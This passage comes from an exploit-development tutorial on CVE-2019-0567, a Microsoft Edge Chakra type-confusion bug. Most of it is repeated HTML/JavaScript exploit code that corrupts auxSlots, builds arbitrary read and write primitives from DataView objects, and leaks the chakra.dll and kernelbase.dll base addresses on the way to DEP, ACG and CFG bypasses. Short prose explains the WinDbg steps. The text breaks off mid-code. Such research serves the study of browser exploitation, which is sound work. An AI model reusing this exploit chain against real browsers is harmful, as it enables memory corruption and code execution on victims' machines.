        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Store the base of chakra.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x5d0bf8</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] chakra.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion11.png" alt="" /></p>

<p><img src="/images/3typeconfusion8.png" alt="" /></p>

<p>After computing the base address of <code class="language-plaintext highlighter-rouge">chakra.dll</code> the next thing we need to do is, as shown in part two, leak an import address table (IAT) entry that points to <code class="language-plaintext highlighter-rouge">kernel32.dll</code> (in this case <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>, which contains all of the functionality of <code class="language-plaintext highlighter-rouge">kernel32.dll</code>).</p>

<p>Using the same debugging session, or a new one if you prefer (following the aforementioned steps to locate the content process), we can locate the IAT for <code class="language-plaintext highlighter-rouge">chakra.dll</code> with the <code class="language-plaintext highlighter-rouge">!dh</code> command.</p>

<p><img src="/images/3typeconfusion12.png" alt="" /></p>

<p><img src="/images/3typeconfusion13.png" alt="" /></p>

<p><img src="/images/3typeconfusion14.png" alt="" /></p>

<p>If we dive a bit deeper into the IAT, we can see there are several pointers to <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>, which contains many of the important APIs such as <code class="language-plaintext highlighter-rouge">VirtualProtect</code> we need to bypass DEP and ACG. Specifically, for our exploit, we will go ahead and extract the pointer to <code class="language-plaintext highlighter-rouge">kernelbase!DuplicateHandle</code> as our <code class="language-plaintext highlighter-rouge">kernelbase.dll</code> leak, as we will need this API in the future for our ACG bypass.</p>

<p><img src="/images/3typeconfusion15.png" alt="" /></p>

<p>What this means is that we can use our read primitive to read what <code class="language-plaintext highlighter-rouge">chakra_base+0x5ee2b8</code> points to (which is a pointer into <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>). We then can compute the base address of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code> by subtracting the offset to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> from the base of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code> in the debugger.</p>

<p><img src="/images/3typeconfusion16.png" alt="" /></p>

<p>We now know that <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> is <code class="language-plaintext highlighter-rouge">0x18de0</code> bytes away from <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>’s base address. Armed with the following information, we can update <code class="language-plaintext highlighter-rouge">exploit.html</code> as follows and detonate it.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"main()"</span><span class="nt">&gt;</span>Click me to exploit CVE-2019-0567!<span class="nt">&lt;/button&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Store the base of chakra.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x5d0bf8</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] chakra.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll</span>
    <span class="c1">// chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle</span>
    <span class="nx">kernelbaseLeak</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x5ee2b8</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

    <span class="c1">// KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address</span>
    <span class="nx">kernelbaseLo</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="mh">0x18de0</span><span class="p">;</span>
    <span class="nx">kernelbaseHigh</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable</span>
    <span class="kd">var</span> <span class="nx">duplicateHandle</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernelbase.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion17.png" alt="" /></p>

<p><img src="/images/3typeconfusion18.png" alt="" /></p>

<p>We are now almost done porting our exploit primitives to Edge from ChakraCore. As we can recall from our ChakraCore exploit, the last thing we need to do now is leak a stack address/the stack in order to bypass CFG for control-flow hijacking and code execution.</p>

<p>Recall that this information derives from <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1360">this Google Project Zero issue</a>. As we can recall with our ChakraCore exploit, we computed these offsets in WinDbg and determined that ChakraCore leveraged <em>slightly</em> different offsets. However, since we are now targeting Edge, we can update the offsets to those mentioned by Ivan Fratric in this issue.</p>

<p>However, even though the <code class="language-plaintext highlighter-rouge">type-&gt;scriptContext-&gt;threadContext</code> offsets will be the ones mentioned in the Project Zero issue, the stack address offset is <em>slightly</em> different. We will go ahead and debug this with <code class="language-plaintext highlighter-rouge">alert()</code> statements.</p>

<p>We know we have to leak a <code class="language-plaintext highlighter-rouge">type</code> pointer (which we already have stored in <code class="language-plaintext highlighter-rouge">exploit.html</code> the same way as part two of this blog series) in order to leak a stack address. Let’s update our <code class="language-plaintext highlighter-rouge">exploit.html</code> with a few items to aid in our debugging for leaking a stack address.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"main()"</span><span class="nt">&gt;</span>Click me to exploit CVE-2019-0567!<span class="nt">&lt;/button&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
